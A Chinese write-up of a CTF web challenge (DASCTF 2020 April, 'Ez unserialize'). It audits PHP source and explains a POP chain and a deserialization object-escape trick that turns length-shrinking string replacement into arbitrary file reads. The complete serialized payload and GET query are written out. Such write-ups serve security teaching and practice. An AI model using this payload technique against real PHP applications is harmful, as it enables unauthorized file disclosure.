解题思路

打开直接源码,没别的,审就完事了

代码审计

 <?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}
$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

反序列化思路

  1. 首先观察new了A类,然后将其序列化,经过两个函数处理后再反序列化。

  2. C类中有tostring魔法方法,利用其中的file_get_contents函数读取flag.php文件

  3. 触发tostring魔法方法需要字符串操作,向上看,正好B类中的析构函数存在字符串的拼接操作

所以整个反序列化思路为:将A的属性实例化为B,然后将B的属性实例化为C对象,触发魔法方法读取flag

大致的序列化结果:

O:1:"A":2:{s:8:"username";s"payload1";s:8:"password";s:xx:"payload2";}

payload2:

O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php"}}

对象逃逸

核心思想:过滤导致的字符串位数增加或减少,不会导致序列化中变量名字符数改变,导致逃逸出新的对象

同时对象逃逸的特点是

过滤函数放在了序列化函数之后

看read函数,将\0\0\0 (6个字符) 替换成 chr(0)*chr(0) (3个字符),所以这里逃逸处3个字符

我们要逃逸出的字符串是

";s:8:"password";s:xx:" 共23位(因为这里payload打在password里,所以xx一定是两位数) 为什么是这个字符串在下面解释

因为一组逃逸出三个字符,所以这里共需逃逸八组,也就是

\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 (24个\0)将其传入payload1中

只序列化后的结果:

O:1:"A":2:{s:8:"username";s:48:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:72:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php"}}";}

经过函数过滤后的结果:

O:1:"A":2:{s:8:"username";s:48:"********";s:8:"password";s:72:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php"}}";} (实际每个*号前后有两个空字符,这里未显示)

可以看到,反序列化过程中,在读入username的值时,读入48位,从第一个 空*空 开始读,********";s:8:"password";s:72:"A (因为总逃逸的字符串有24位,需要逃逸的只有23位,这里加上一个A字符,凑成24位)

读完此时,结束,发现原本的password属性被吞,但因为序列化字符串中类里面的变量数是2,所以此时继续读一个变量,读入我们传的password,也就是读出了我们希望传入的password,这时新对象即逃逸出来

构成对象逃逸

成功完成攻击,读取出flag值

整个的payload就是:

?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php"}}

刷题[安恒DASCTF2020四月春季赛]Ez unserialize的更多相关文章

  1. JS刷题总结

    多总结,才能更好地进步,分享下最近的刷题总结给大家吧 关于缩减代码 1.善用js中的函数或者特性. (迭代.解构.set等等) //使用箭头函数缩减代码 //处理输入,可以用.map,需要注意其所有参 ...

  2. LeetCode 到底怎么刷?GitHub 上多位大厂程序员亲测的高效刷题方式

    作者:HelloGitHub-小鱼干 在众多的诸如阿里.腾讯等大厂之中,最看中面试者刷题技能的大概要数有"链表厂"之称的字节跳动了.作为一个新晋大厂,字节跳动以高薪.技术大佬云集吸 ...

  3. LeetCode刷题系列

    LeetCode 我们工作面试和提高自身数据结构和算法能力的时候往往需要刷刷题,我选择LeetCode是通过一个留学论坛了解的.专业,覆盖语种全面. 提前说说刷题的心得: 尽量手写代码,少使用IDE的 ...

  4. ife任务刷题总结(一)-css reset与清除浮动

    本文同时发布于本人的个人网站www.yaoxiaowen.com 百度创办的前端技术学院,是一个面向大学生的前端技术学习平台.虽然只有大学生才有资格报名,提交代码进行比赛排名.但是这并不妨碍我们这些初 ...

  5. 刷题ING...

    我用codeVS刷题.. 努力准备!!

  6. XidianOJ 1020 ACMer去刷题吧

    题目描述 刷题是每个ACMer必由之路,已知某oj上有n个题目,第i个题目小X能做对的概率为Pi(0<=Pi<=1,1<=i<=n) 求小X至少做对k道题的概率 输入 第一行输 ...

  7. 【BZOJ-4590】自动刷题机 二分 + 判定

    4590: [Shoi2015]自动刷题机 Time Limit: 10 Sec  Memory Limit: 256 MBSubmit: 156  Solved: 63[Submit][Status ...

  8. NOI题库分治算法刷题记录

    今天晚自习机房刷题,有一道题最终WA掉两组,极其不爽,晚上回家补完作业欣然搞定它,特意来写篇博文来记录下 (最想吐槽的是这个叫做分治的分类,里面的题目真的需要分治吗...) 先来说下分治法 分治法的设 ...

  9. NOI题库刷题日志 (贪心篇题解)

    这段时间在NOI题库上刷了刷题,来写点心得和题解 一.寻找平面上的极大点 2704:寻找平面上的极大点 总时间限制:  1000ms  内存限制:  65536kB 描述 在一个平面上,如果有两个点( ...

随机推荐

  1. failed to find romfile "vgabios-stdvga.bin"

    问题:failed to find romfile "vgabios-stdvga.bin" 解决: apt-get install vgabios ln -s /usr/shar ...

  2. nova卸载volume源码分析

    基于llvm +iscsi协议进行分析 1.客戶端接受请求并路由到 VolumeAttachmentController 其对应的restfull请求格式如下:delete /servers/{ser ...

  3. 特性预览:Apache 顶级项目 Apache Pulsar 2.6.1 版本

    在正式分享 2.6.1 版本更新细节之前,冉小龙首先为我们分享了两个相关 PIP 的内容. 一个是 PIP-47 中关于「基于时间来进行版本更新」的计划.该 PIP 提出后,从 2.5.0 版本到目前 ...

  4. Fitness - 05.22

    终于到了连续熬夜,感觉身心俱疲的年纪了. 今天休息一天,瑜伽暂停. 调整作息时间,12点睡觉,5点起床学习~

  5. ShaderLab 枚举常量

        public enum ZTest     {         Always = 0,         Less = 2,         Equal = 3,         LEqual  ...

  6. 面试【JAVA基础】其他

    1.自定义注解 @target 说明了Annotation所修饰的对象范围: constructor.method.field.package.type等等. @retention 定义了该Annot ...

  7. Ubuntu 20.04 手动安装 sublime_text 并建立搜索栏图标(解决 Ubuntu 20.04 桌面图标无法双击打开问题)

    下载sublime_text_3离线程序包 wget https://download.sublimetext.com/sublime_text_3_build_3211_x64.tar.bz2 #x ...

  8. 【BIM】基于BIMFACE的空间拆分与合并

    BIMFACE中矩形空间拆分与合并 应用场景 在BIM运维场景中,空间同设备一样,作为一种资产被纳入运维管理体系,典型的应用场景例如商铺.防火分区等,这就涉及到空间的拆分和合并,在bimface中,已 ...

  9. leetcode刷题-94二叉树的中序遍历

    题目 给定一个二叉树,返回它的中序 遍历. 实现 # def __init__(self, x): # self.val = x # self.left = None # self.right = N ...

  10. 深入理解Java中的装箱与拆箱

    一.Java数据类型 1.在说装箱与拆箱之前,先说一下Java的基本数据类型,Java从数据类型上可以划分为值类型与引用类型,值类型是四类八种,分别是: 整数型:byte̵,short̵,int̵,l ...